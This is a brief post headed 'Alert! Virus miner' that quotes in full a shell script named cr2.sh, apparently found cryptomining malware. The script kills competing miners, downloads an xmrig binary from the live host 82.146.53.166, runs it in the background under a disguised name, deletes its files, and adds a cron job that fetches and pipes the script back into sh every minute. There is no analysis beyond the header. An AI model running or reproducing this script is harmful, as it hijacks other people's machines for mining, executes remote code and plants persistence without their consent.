Alert! Virus miner

cr2.sh

#!/bin/sh
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ru

WGET="wget -O"
if [ -s /usr/bin/curl ];
        then WGET="curl -o";
fi;
if [ -s /usr/bin/wget ];
        then WGET="wget -O";
fi
if [ ! "$(ps -fe|grep '/tmp/php -c /tmp/p.conf' |grep -v grep)" ]; then
        f1=$(curl 82.146.53.166/g.php)
        if [ -z "$f1" ];
                then f1=$(wget -q -O - 82.146.53.166/g.php)
        fi

        f2="82.146.53.166"
        if [ `getconf LONG_BIT` = "64" ]
                then
                $WGET /tmp/php http://$f1/xmrig_64?$RANDOM
        else
                $WGET /tmp/php http://$f1/xmrig_32?$RANDOM
        fi

        chmod +x /tmp/php
        $WGET /tmp/p.conf http://$f2/p.conf
        nohup /tmp/php -c /tmp/p.conf>/dev/null 2>&1 &
        sleep 5
        rm -rf /tmp/p.conf
        rm -f /tmp/php
fi
pkill -f logo9.jpg
crontab -l | sed '/logo9/d' | crontab -

if crontab -l | grep -q "82.146.53.166"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://82.146.53.166/cr2.sh | sh > /dev/null 2>&1")| crontab -
fi